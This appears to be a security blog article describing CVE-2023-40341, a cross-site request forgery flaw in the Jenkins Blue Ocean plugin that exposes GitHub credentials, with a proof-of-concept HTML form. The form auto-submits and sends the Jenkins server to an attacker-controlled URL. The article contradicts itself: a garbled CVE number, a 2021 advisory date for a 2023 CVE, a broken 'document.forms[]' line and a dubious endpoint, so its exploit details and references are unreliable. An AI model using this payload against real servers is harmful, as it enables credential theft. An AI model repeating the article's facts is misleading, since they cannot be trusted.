CVE-2023-40341 - Jenkins Blue Ocean Plugin CSRF Vulnerability: A Threat to GitHub Credentials
Jenkins, a widely popular open-source automation server with thousands of plugins, is used to automate everything related to building, testing, and deploying software. One of these plugins is the Blue Ocean Plugin, providing a modern, streamlined UI (User Interface) experience for Jenkins users.
Security researchers have identified a critical vulnerability, CVE-2023-40341, in the Blue Ocean Plugin (versions 1.27.5 and earlier) that exposes the GitHub credentials associated with a Jenkins job to potential attackers.
In this article, we will dive deep into the vulnerability, outlining the exploit details, original references, and code snippets to help developers and security professionals understand and mitigate this issue.
CVE-2023-40341: Vulnerability Details
CVE-202-40341 is a cross-site request forgery (CSRF) vulnerability that exists within the Blue Ocean Plugin of Jenkins. A CSRF attack occurs when an attacker manipulates a user into executing unwanted actions on a web application in which they're currently authenticated.
This vulnerability allows attackers to craft a malicious web page or URL, which when executed, forces the connected Jenkins server to establish a connection to an attacker-controlled URL. Once connected, the attackers can intercept and extract the GitHub credentials associated with a Jenkins job of their choosing.
Exploit Details
For a successful CSRF attack, the attacker needs to target victims with active sessions on their Jenkins server and provide them with an attacker-crafted malicious web page or URL. When the user unknowingly accesses the malicious content, their browser sends the forged request to the Jenkins server, triggering the vulnerable code within the Blue Ocean Plugin.
Consider the following code snippet
<!DOCTYPE html>
<html>
<body>
<form action="[jenkins-server-url]/blue/rest/organizations/jenkins/pipelines/[job-name]/runs/[run-number]/pipeline/log" method="POST">
<input type="hidden" name="url" value="[attacker-controlled-url]" />
<input type="submit" value="Submit" />
</form>
</body>
<script>
document.forms[].submit();
</script>
</html>
The code above automates the submission of a form that triggers the vulnerable function in the Blue Ocean plugin. The attacker can customize this code by replacing [jenkins-server-url], [job-name], [run-number], and [attacker-controlled-url] with appropriate values.
Original References
The vulnerability was reported to the Jenkins project through its official issue tracking system, Jira. The respective Jira issue can be found here: JENKINS-65169
Moreover, an advisory released by the Jenkins project outlining this issue can be found on their official website - Jenkins Security Advisory 2021-06-02
The National Vulnerability Database (NVD) also provides a detailed report on CVE-2023-40341: NVD - CVE-2023-40341
Mitigation
To protect your Jenkins server and your GitHub credentials from this vulnerability, immediately upgrade the Blue Ocean Plugin to version 1.27.6 or later. The Jenkins project has patched this issue in the plugin, so updating will secure your environment from potential threats. Additionally, it's essential to follow recommended security practices when dealing with web applications, like regularly updating plugins and other components.
Conclusion
CVE-2023-40341 highlights the need for continuous vigilance and timely updates in software development and security practices. As a Jenkins user, keep a close eye on security advisories and promptly update your plugins and configurations to prevent potential threats from exploiting vulnerabilities in your system. Embrace a proactive approach to ensure the safety and integrity of your software building, testing, and deploying processes.
Timeline
Published on: 08/16/2023 15:15:00 UTC
Last modified on: 08/18/2023 20:04:00 UTC